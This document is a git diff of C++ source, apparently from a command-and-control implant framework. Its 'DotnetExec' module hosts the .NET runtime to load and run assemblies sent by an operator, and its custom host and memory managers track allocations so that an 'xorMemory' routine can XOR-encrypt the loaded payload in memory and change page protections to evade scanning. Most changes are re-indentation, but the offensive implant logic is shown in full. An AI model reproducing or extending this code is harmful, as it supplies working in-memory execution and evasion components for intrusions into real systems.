|
||||
return 0;
|
||||
}
|
||||
|
||||
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data);
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_targetAssembly->getAssemblyInfo();
|
||||
};
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
TargetAssembly* m_targetAssembly;
|
||||
|
||||
};
|
||||
+808
-808
File diff suppressed because it is too large
Load Diff
@@ -15,8 +15,8 @@
|
||||
#include "HostControl.hpp"
|
||||
|
||||
// Import mscorlib.tlb (Microsoft Common Language Runtime Class Library).
|
||||
#import "mscorlib.tlb" auto_rename raw_interfaces_only \
|
||||
high_property_prefixes("_get","_put","_putref") \
|
||||
#import "mscorlib.tlb" auto_rename raw_interfaces_only \
|
||||
high_property_prefixes("_get","_put","_putref") \
|
||||
rename("ReportEvent", "InteropServices_ReportEvent")
|
||||
|
||||
#endif
|
||||
@@ -24,9 +24,9 @@
|
||||
#ifdef _WIN32
|
||||
struct AssemblyModule
|
||||
{
|
||||
mscorlib::_AssemblyPtr spAssembly;
|
||||
std::string name;
|
||||
std::string type;
|
||||
mscorlib::_AssemblyPtr spAssembly;
|
||||
std::string name;
|
||||
std::string type;
|
||||
};
|
||||
#endif
|
||||
|
||||
@@ -35,53 +35,53 @@ class DotnetExec : public ModuleCmd
|
||||
{
|
||||
|
||||
public:
|
||||
DotnetExec();
|
||||
~DotnetExec();
|
||||
DotnetExec();
|
||||
~DotnetExec();
|
||||
|
||||
std::string getInfo();
|
||||
std::string getInfo();
|
||||
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
|
||||
int osCompatibility()
|
||||
{
|
||||
int init(std::vector<std::string>& splitedCmd, C2Message& c2Message);
|
||||
int process(C2Message& c2Message, C2Message& c2RetMessage);
|
||||
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
|
||||
int osCompatibility()
|
||||
{
|
||||
return OS_WINDOWS;
|
||||
}
|
||||
|
||||
private:
|
||||
bool m_firstRun;
|
||||
bool m_firstRun;
|
||||
|
||||
int clearAssembly();
|
||||
int clearCLR();
|
||||
int clearAssembly();
|
||||
int clearCLR();
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
bool m_memEcrypted;
|
||||
bool m_moduleLoaded;
|
||||
bool m_memEcrypted;
|
||||
bool m_moduleLoaded;
|
||||
|
||||
// initCLR
|
||||
ICLRMetaHost *m_pMetaHost;
|
||||
ICLRRuntimeInfo *m_pRuntimeInfo;
|
||||
ICLRRuntimeHost *m_pClrRuntimeHost;
|
||||
MyHostControl* m_pCustomHostControl;
|
||||
ICorRuntimeHost* m_pCorHost;
|
||||
IUnknownPtr m_spAppDomainThunk;
|
||||
// initCLR
|
||||
ICLRMetaHost *m_pMetaHost;
|
||||
ICLRRuntimeInfo *m_pRuntimeInfo;
|
||||
ICLRRuntimeHost *m_pClrRuntimeHost;
|
||||
MyHostControl* m_pCustomHostControl;
|
||||
ICorRuntimeHost* m_pCorHost;
|
||||
IUnknownPtr m_spAppDomainThunk;
|
||||
|
||||
// loadAssembly
|
||||
mscorlib::_AppDomainPtr m_spDefaultAppDomain;
|
||||
TargetAssembly* m_targetAssembly;
|
||||
|
||||
int initCLR();
|
||||
int loadAssembly(const std::string& data, const std::string& name, const std::string& type);
|
||||
int invokeMethodExe(const std::string name, const std::string& argument, std::string& result);
|
||||
int invokeMethodDll(const std::string name, const std::string& method, const std::string& argument, std::string& result);
|
||||
int encryptMem();
|
||||
int decryptMem();
|
||||
// loadAssembly
|
||||
mscorlib::_AppDomainPtr m_spDefaultAppDomain;
|
||||
TargetAssembly* m_targetAssembly;
|
||||
|
||||
int initCLR();
|
||||
int loadAssembly(const std::string& data, const std::string& name, const std::string& type);
|
||||
int invokeMethodExe(const std::string name, const std::string& argument, std::string& result);
|
||||
int invokeMethodDll(const std::string name, const std::string& method, const std::string& argument, std::string& result);
|
||||
int encryptMem();
|
||||
int decryptMem();
|
||||
|
||||
std::vector<AssemblyModule> m_assemblies;
|
||||
std::vector<AssemblyModule> m_assemblies;
|
||||
|
||||
HANDLE m_ioPipeRead;
|
||||
HANDLE m_ioPipeWrite;
|
||||
HANDLE m_ioPipeRead;
|
||||
HANDLE m_ioPipeWrite;
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
@@ -1,85 +1,85 @@
|
||||
#include "HostControl.hpp"
|
||||
|
||||
|
||||
MyHostControl::MyHostControl(void)
|
||||
{
|
||||
count = 0;
|
||||
|
||||
m_assemblyManager = new MyAssemblyManager();
|
||||
m_memoryManager = new MyMemoryManager();
|
||||
};
|
||||
|
||||
MyHostControl::~MyHostControl(void)
|
||||
{
|
||||
delete m_assemblyManager;
|
||||
delete m_memoryManager;
|
||||
};
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyHostControl::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
// printf("MyHostControl_QueryInterface\n");
|
||||
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostControl))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostControl::AddRef()
|
||||
{
|
||||
// printf("MyHostControl_AddRef\n");
|
||||
|
||||
return(++((MyHostControl*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostControl::Release()
|
||||
{
|
||||
// printf("MyHostControl_Release\n");
|
||||
|
||||
if (--((MyHostControl*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyHostControl*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
// This is responsible for returning all of our manager implementations
|
||||
// If you want to disable an interface just comment out the if statement
|
||||
HRESULT STDMETHODCALLTYPE MyHostControl::GetHostManager(REFIID riid, void** ppObject)
|
||||
{
|
||||
// printf("MyHostControl_GetHostManager\n");
|
||||
|
||||
if (IsEqualIID(riid, IID_IHostMemoryManager))
|
||||
{
|
||||
*ppObject = m_memoryManager;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
if (IsEqualIID(riid, IID_IHostAssemblyManager))
|
||||
{
|
||||
*ppObject = m_assemblyManager;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
*ppObject = NULL;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
|
||||
|
||||
// //This has some fun uses left as an exercise for the reader :)
|
||||
HRESULT MyHostControl::SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager)
|
||||
{
|
||||
// printf("MyHostControl_SetAppDomainManager\n");
|
||||
|
||||
return E_NOTIMPL;
|
||||
}
|
||||
|
||||
#include "HostControl.hpp"
|
||||
|
||||
|
||||
MyHostControl::MyHostControl(void)
|
||||
{
|
||||
count = 0;
|
||||
|
||||
m_assemblyManager = new MyAssemblyManager();
|
||||
m_memoryManager = new MyMemoryManager();
|
||||
};
|
||||
|
||||
MyHostControl::~MyHostControl(void)
|
||||
{
|
||||
delete m_assemblyManager;
|
||||
delete m_memoryManager;
|
||||
};
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyHostControl::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
// printf("MyHostControl_QueryInterface\n");
|
||||
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostControl))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostControl::AddRef()
|
||||
{
|
||||
// printf("MyHostControl_AddRef\n");
|
||||
|
||||
return(++((MyHostControl*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostControl::Release()
|
||||
{
|
||||
// printf("MyHostControl_Release\n");
|
||||
|
||||
if (--((MyHostControl*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyHostControl*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
// This is responsible for returning all of our manager implementations
|
||||
// If you want to disable an interface just comment out the if statement
|
||||
HRESULT STDMETHODCALLTYPE MyHostControl::GetHostManager(REFIID riid, void** ppObject)
|
||||
{
|
||||
// printf("MyHostControl_GetHostManager\n");
|
||||
|
||||
if (IsEqualIID(riid, IID_IHostMemoryManager))
|
||||
{
|
||||
*ppObject = m_memoryManager;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
if (IsEqualIID(riid, IID_IHostAssemblyManager))
|
||||
{
|
||||
*ppObject = m_assemblyManager;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
*ppObject = NULL;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
|
||||
|
||||
// //This has some fun uses left as an exercise for the reader :)
|
||||
HRESULT MyHostControl::SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager)
|
||||
{
|
||||
// printf("MyHostControl_SetAppDomainManager\n");
|
||||
|
||||
return E_NOTIMPL;
|
||||
}
|
||||
|
||||
|
||||
+115
-115
@@ -1,115 +1,115 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <mscoree.h>
|
||||
#include <metahost.h>
|
||||
|
||||
#include "MemoryManager.hpp"
|
||||
#include "AssemblyManager.hpp"
|
||||
|
||||
|
||||
static const GUID xIID_IHostControl = { 0x02CA073C, 0x7079, 0x4860, {0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91} };
|
||||
|
||||
|
||||
inline void XOREncrypt2(char* address, int size, const std::string& xorKey)
|
||||
{
|
||||
DWORD start = 0;
|
||||
while (start < size)
|
||||
{
|
||||
*(address + start) ^= xorKey[start % xorKey.size()];
|
||||
start++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
class MyHostControl : public IHostControl
|
||||
{
|
||||
public:
|
||||
MyHostControl(void);
|
||||
~MyHostControl(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetHostManager(REFIID riid, void** ppObject);
|
||||
virtual HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager);
|
||||
|
||||
int setTargetAssembly(TargetAssembly * targetAssembly)
|
||||
{
|
||||
m_assemblyManager->setTargetAssembly(targetAssembly);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_assemblyManager->updateTargetAssembly(identityManager, data);
|
||||
return 0;
|
||||
}
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_assemblyManager->getAssemblyInfo();
|
||||
};
|
||||
|
||||
|
||||
const std::vector<MemAllocEntry*>& getVirtualAllocList()
|
||||
{
|
||||
return m_memoryManager->getVirtualAllocList();
|
||||
}
|
||||
|
||||
const std::vector<MemAllocEntry*>& getMallocList()
|
||||
{
|
||||
return m_memoryManager->getMallocList();
|
||||
}
|
||||
|
||||
int xorMemory(const std::string& xorKey)
|
||||
{
|
||||
std::vector<MemAllocEntry*> vitualAllocList = getVirtualAllocList();
|
||||
|
||||
for (auto it = vitualAllocList.begin(); it != vitualAllocList.end(); ++it)
|
||||
{
|
||||
MemAllocEntry* entry = *it;
|
||||
if (entry->Address && entry->type == MEM_ALLOC_MAPPED_FILE)
|
||||
{
|
||||
XOREncrypt2((char*)entry->Address, entry->size, xorKey);
|
||||
}
|
||||
}
|
||||
|
||||
MEMORY_BASIC_INFORMATION memInfo;
|
||||
DWORD oldProtect;
|
||||
std::vector<MemAllocEntry*> mallocList = getMallocList();
|
||||
for (auto it = mallocList.begin(); it != mallocList.end(); ++it)
|
||||
{
|
||||
MemAllocEntry* entry = *it;
|
||||
|
||||
if(entry->Address)
|
||||
{
|
||||
::VirtualQuery(entry->Address, &memInfo, sizeof(MEMORY_BASIC_INFORMATION));
|
||||
|
||||
if (memInfo.AllocationProtect != 0 && memInfo.State != 0x2000 && memInfo.State != 0x10000)
|
||||
{
|
||||
if (memInfo.Protect != PAGE_READWRITE)
|
||||
{
|
||||
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, PAGE_READWRITE, &oldProtect);
|
||||
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
|
||||
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, oldProtect, &oldProtect);
|
||||
}
|
||||
else
|
||||
{
|
||||
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
MyAssemblyManager* m_assemblyManager;
|
||||
MyMemoryManager* m_memoryManager;
|
||||
|
||||
};
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <mscoree.h>
|
||||
#include <metahost.h>
|
||||
|
||||
#include "MemoryManager.hpp"
|
||||
#include "AssemblyManager.hpp"
|
||||
|
||||
|
||||
static const GUID xIID_IHostControl = { 0x02CA073C, 0x7079, 0x4860, {0x88, 0x0A, 0xC2, 0xF7, 0xA4, 0x49, 0xC9, 0x91} };
|
||||
|
||||
|
||||
inline void XOREncrypt2(char* address, int size, const std::string& xorKey)
|
||||
{
|
||||
DWORD start = 0;
|
||||
while (start < size)
|
||||
{
|
||||
*(address + start) ^= xorKey[start % xorKey.size()];
|
||||
start++;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
class MyHostControl : public IHostControl
|
||||
{
|
||||
public:
|
||||
MyHostControl(void);
|
||||
~MyHostControl(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE GetHostManager(REFIID riid, void** ppObject);
|
||||
virtual HRESULT STDMETHODCALLTYPE SetAppDomainManager(DWORD dwAppDomainID, IUnknown* pUnkAppDomainManager);
|
||||
|
||||
int setTargetAssembly(TargetAssembly * targetAssembly)
|
||||
{
|
||||
m_assemblyManager->setTargetAssembly(targetAssembly);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int updateTargetAssembly(ICLRAssemblyIdentityManager* identityManager, const std::string& data)
|
||||
{
|
||||
m_assemblyManager->updateTargetAssembly(identityManager, data);
|
||||
return 0;
|
||||
}
|
||||
|
||||
LPWSTR getAssemblyInfo()
|
||||
{
|
||||
return m_assemblyManager->getAssemblyInfo();
|
||||
};
|
||||
|
||||
|
||||
const std::vector<MemAllocEntry*>& getVirtualAllocList()
|
||||
{
|
||||
return m_memoryManager->getVirtualAllocList();
|
||||
}
|
||||
|
||||
const std::vector<MemAllocEntry*>& getMallocList()
|
||||
{
|
||||
return m_memoryManager->getMallocList();
|
||||
}
|
||||
|
||||
int xorMemory(const std::string& xorKey)
|
||||
{
|
||||
std::vector<MemAllocEntry*> vitualAllocList = getVirtualAllocList();
|
||||
|
||||
for (auto it = vitualAllocList.begin(); it != vitualAllocList.end(); ++it)
|
||||
{
|
||||
MemAllocEntry* entry = *it;
|
||||
if (entry->Address && entry->type == MEM_ALLOC_MAPPED_FILE)
|
||||
{
|
||||
XOREncrypt2((char*)entry->Address, entry->size, xorKey);
|
||||
}
|
||||
}
|
||||
|
||||
MEMORY_BASIC_INFORMATION memInfo;
|
||||
DWORD oldProtect;
|
||||
std::vector<MemAllocEntry*> mallocList = getMallocList();
|
||||
for (auto it = mallocList.begin(); it != mallocList.end(); ++it)
|
||||
{
|
||||
MemAllocEntry* entry = *it;
|
||||
|
||||
if(entry->Address)
|
||||
{
|
||||
::VirtualQuery(entry->Address, &memInfo, sizeof(MEMORY_BASIC_INFORMATION));
|
||||
|
||||
if (memInfo.AllocationProtect != 0 && memInfo.State != 0x2000 && memInfo.State != 0x10000)
|
||||
{
|
||||
if (memInfo.Protect != PAGE_READWRITE)
|
||||
{
|
||||
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, PAGE_READWRITE, &oldProtect);
|
||||
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
|
||||
::VirtualProtect(memInfo.BaseAddress, memInfo.RegionSize, oldProtect, &oldProtect);
|
||||
}
|
||||
else
|
||||
{
|
||||
XOREncrypt2((char*)memInfo.BaseAddress, memInfo.RegionSize, xorKey);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
MyAssemblyManager* m_assemblyManager;
|
||||
MyMemoryManager* m_memoryManager;
|
||||
|
||||
};
|
||||
|
||||
+100
-100
@@ -1,101 +1,101 @@
|
||||
#include "HostMalloc.hpp"
|
||||
#include "MemoryManager.hpp"
|
||||
|
||||
#include <iostream>
|
||||
|
||||
|
||||
MyHostMalloc::MyHostMalloc(void)
|
||||
{
|
||||
count = 0;
|
||||
}
|
||||
|
||||
|
||||
MyHostMalloc::~MyHostMalloc(void)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyHostMalloc::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMalloc))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostMalloc::AddRef()
|
||||
{
|
||||
return(++((MyHostMalloc*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostMalloc::Release()
|
||||
{
|
||||
if (--this->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return this->count;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyHostMalloc::Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
|
||||
{
|
||||
LPVOID allocAddress = ::HeapAlloc(this->hHeap, 0, cbSize);
|
||||
// std::cout << "MyHostMalloc::Alloc " << std::hex << allocAddress << std::endl;
|
||||
|
||||
MemAllocEntry* allocEntry = new MemAllocEntry();
|
||||
allocEntry->Address = allocAddress;
|
||||
allocEntry->size = cbSize;
|
||||
allocEntry->type = MEM_ALLOC_MALLOC;
|
||||
m_memAllocList.push_back(allocEntry);
|
||||
|
||||
*ppMem = allocAddress;
|
||||
if (*ppMem == NULL)
|
||||
{
|
||||
return E_OUTOFMEMORY;
|
||||
}
|
||||
else
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyHostMalloc::DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem)
|
||||
{
|
||||
// std::cout << "MyHostMalloc::DebugAlloc" << std::endl;
|
||||
|
||||
*ppMem = ::HeapAlloc(this->hHeap, 0, cbSize);
|
||||
if (*ppMem == NULL)
|
||||
{
|
||||
return E_OUTOFMEMORY;
|
||||
}
|
||||
else
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyHostMalloc::Free(void* pMem)
|
||||
{
|
||||
// std::cout << "MyHostMalloc::Free" << std::endl;
|
||||
|
||||
if (!::HeapValidate(this->hHeap, 0, pMem))
|
||||
{
|
||||
// std::cout << "Detected corrupted heap" << std::endl;
|
||||
return E_OUTOFMEMORY;
|
||||
}
|
||||
::HeapFree(this->hHeap, 0, pMem);
|
||||
pMem = nullptr;
|
||||
|
||||
return S_OK;
|
||||
#include "HostMalloc.hpp"
|
||||
#include "MemoryManager.hpp"
|
||||
|
||||
#include <iostream>
|
||||
|
||||
|
||||
MyHostMalloc::MyHostMalloc(void)
|
||||
{
|
||||
count = 0;
|
||||
}
|
||||
|
||||
|
||||
MyHostMalloc::~MyHostMalloc(void)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyHostMalloc::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMalloc))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostMalloc::AddRef()
|
||||
{
|
||||
return(++((MyHostMalloc*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyHostMalloc::Release()
|
||||
{
|
||||
if (--this->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return this->count;
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyHostMalloc::Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
|
||||
{
|
||||
LPVOID allocAddress = ::HeapAlloc(this->hHeap, 0, cbSize);
|
||||
// std::cout << "MyHostMalloc::Alloc " << std::hex << allocAddress << std::endl;
|
||||
|
||||
MemAllocEntry* allocEntry = new MemAllocEntry();
|
||||
allocEntry->Address = allocAddress;
|
||||
allocEntry->size = cbSize;
|
||||
allocEntry->type = MEM_ALLOC_MALLOC;
|
||||
m_memAllocList.push_back(allocEntry);
|
||||
|
||||
*ppMem = allocAddress;
|
||||
if (*ppMem == NULL)
|
||||
{
|
||||
return E_OUTOFMEMORY;
|
||||
}
|
||||
else
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyHostMalloc::DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem)
|
||||
{
|
||||
// std::cout << "MyHostMalloc::DebugAlloc" << std::endl;
|
||||
|
||||
*ppMem = ::HeapAlloc(this->hHeap, 0, cbSize);
|
||||
if (*ppMem == NULL)
|
||||
{
|
||||
return E_OUTOFMEMORY;
|
||||
}
|
||||
else
|
||||
{
|
||||
return S_OK;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
HRESULT MyHostMalloc::Free(void* pMem)
|
||||
{
|
||||
// std::cout << "MyHostMalloc::Free" << std::endl;
|
||||
|
||||
if (!::HeapValidate(this->hHeap, 0, pMem))
|
||||
{
|
||||
// std::cout << "Detected corrupted heap" << std::endl;
|
||||
return E_OUTOFMEMORY;
|
||||
}
|
||||
::HeapFree(this->hHeap, 0, pMem);
|
||||
pMem = nullptr;
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
@@ -1,53 +1,53 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <mscoree.h>
|
||||
#include <metahost.h>
|
||||
|
||||
#include <vector>
|
||||
|
||||
|
||||
typedef enum
|
||||
{
|
||||
MEM_ALLOC_LIST_HEAD,
|
||||
MEM_ALLOC_MALLOC,
|
||||
MEM_ALLOC_VIRTUALALLOC,
|
||||
MEM_ALLOC_MAPPED_FILE
|
||||
} memAllocTracker;
|
||||
|
||||
|
||||
typedef struct _MemAllocEntry
|
||||
{
|
||||
SLIST_ENTRY allocEntry;
|
||||
void* Address;
|
||||
SIZE_T size;
|
||||
memAllocTracker type;
|
||||
} MemAllocEntry;
|
||||
|
||||
|
||||
class MyHostMalloc : public IHostMalloc
|
||||
{
|
||||
public:
|
||||
MyHostMalloc(void);
|
||||
~MyHostMalloc(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
|
||||
virtual HRESULT DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem);
|
||||
virtual HRESULT Free(void* pMem);
|
||||
|
||||
HANDLE hHeap;
|
||||
|
||||
const std::vector<MemAllocEntry*>& getMemAllocList()
|
||||
{
|
||||
return m_memAllocList;
|
||||
}
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
std::vector<MemAllocEntry*> m_memAllocList;
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <mscoree.h>
|
||||
#include <metahost.h>
|
||||
|
||||
#include <vector>
|
||||
|
||||
|
||||
typedef enum
|
||||
{
|
||||
MEM_ALLOC_LIST_HEAD,
|
||||
MEM_ALLOC_MALLOC,
|
||||
MEM_ALLOC_VIRTUALALLOC,
|
||||
MEM_ALLOC_MAPPED_FILE
|
||||
} memAllocTracker;
|
||||
|
||||
|
||||
typedef struct _MemAllocEntry
|
||||
{
|
||||
SLIST_ENTRY allocEntry;
|
||||
void* Address;
|
||||
SIZE_T size;
|
||||
memAllocTracker type;
|
||||
} MemAllocEntry;
|
||||
|
||||
|
||||
class MyHostMalloc : public IHostMalloc
|
||||
{
|
||||
public:
|
||||
MyHostMalloc(void);
|
||||
~MyHostMalloc(void);
|
||||
|
||||
virtual HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid,void **ppv);
|
||||
virtual ULONG STDMETHODCALLTYPE AddRef(void);
|
||||
virtual ULONG STDMETHODCALLTYPE Release(void);
|
||||
|
||||
virtual HRESULT Alloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, void** ppMem);
|
||||
virtual HRESULT DebugAlloc(SIZE_T cbSize, EMemoryCriticalLevel eCriticalLevel, char* pszFileName, int iLineNo, void** ppMem);
|
||||
virtual HRESULT Free(void* pMem);
|
||||
|
||||
HANDLE hHeap;
|
||||
|
||||
const std::vector<MemAllocEntry*>& getMemAllocList()
|
||||
{
|
||||
return m_memAllocList;
|
||||
}
|
||||
|
||||
protected:
|
||||
DWORD count;
|
||||
|
||||
private:
|
||||
std::vector<MemAllocEntry*> m_memAllocList;
|
||||
};
|
||||
@@ -1,178 +1,178 @@
|
||||
#include "MemoryManager.hpp"
|
||||
#include "HostMalloc.hpp"
|
||||
|
||||
#include <iostream>
|
||||
|
||||
|
||||
MyMemoryManager::MyMemoryManager(void)
|
||||
{
|
||||
count = 0;
|
||||
m_mallocManager = new MyHostMalloc();
|
||||
}
|
||||
|
||||
|
||||
MyMemoryManager::~MyMemoryManager(void)
|
||||
{
|
||||
delete m_mallocManager;
|
||||
}
|
||||
|
||||
|
||||
HRESULT STDMETHODCALLTYPE MyMemoryManager::QueryInterface(REFIID vTableGuid, void** ppv)
|
||||
{
|
||||
if (!IsEqualIID(vTableGuid, IID_IUnknown) && !IsEqualIID(vTableGuid, IID_IHostMemoryManager))
|
||||
{
|
||||
*ppv = 0;
|
||||
return E_NOINTERFACE;
|
||||
}
|
||||
*ppv = this;
|
||||
this->AddRef();
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyMemoryManager::AddRef()
|
||||
{
|
||||
return(++((MyMemoryManager*)this)->count);
|
||||
}
|
||||
|
||||
|
||||
ULONG STDMETHODCALLTYPE MyMemoryManager::Release()
|
||||
{
|
||||
if (--((MyMemoryManager*)this)->count == 0)
|
||||
{
|
||||
GlobalFree(this);
|
||||
return 0;
|
||||
}
|
||||
return ((MyMemoryManager*)this)->count;
|
||||
}
|
||||
|
||||
|
||||
// This is called when the CLR wants to do heap allocations, it's responsible for returning our implementation of IHostMalloc
|
||||
HRESULT MyMemoryManager::CreateMalloc(DWORD dwMallocType, IHostMalloc** ppMalloc)
|
||||
{
|
||||
// std::cout << "MyMemoryManager::CreateMalloc" << std::endl;
|
||||
|
||||
//C reate a heap and add it to our interface struct
|
||||
HANDLE hHeap = NULL;
|
||||
if (dwMallocType & MALLOC_EXECUTABLE)
|
||||
{
|
||||
hHeap = ::HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
|
||||
}
|
||||
else
|
||||
{
|
||||
hHeap = ::HeapCreate(0, 0, 0);
|
||||
}
|
||||
m_mallocManager->hHeap = hHeap;
|
||||
|
||||
*ppMalloc = m_mallocManager;
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
|
||||
//The Virtual* API calls are responsible for non-heap memory management, you can just call the Virtual* APIs as intended or implement your own routines
|
||||
HRESULT MyMemoryManager::VirtualAlloc(void* pAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect, EMemoryCriticalLevel eCriticalLevel, void** ppMem)
|
||||
{
|
||||
LPVOID allocAddress=NULL;
|
||||
HANDLE hProcess = GetCurrentProcess();
|
||||
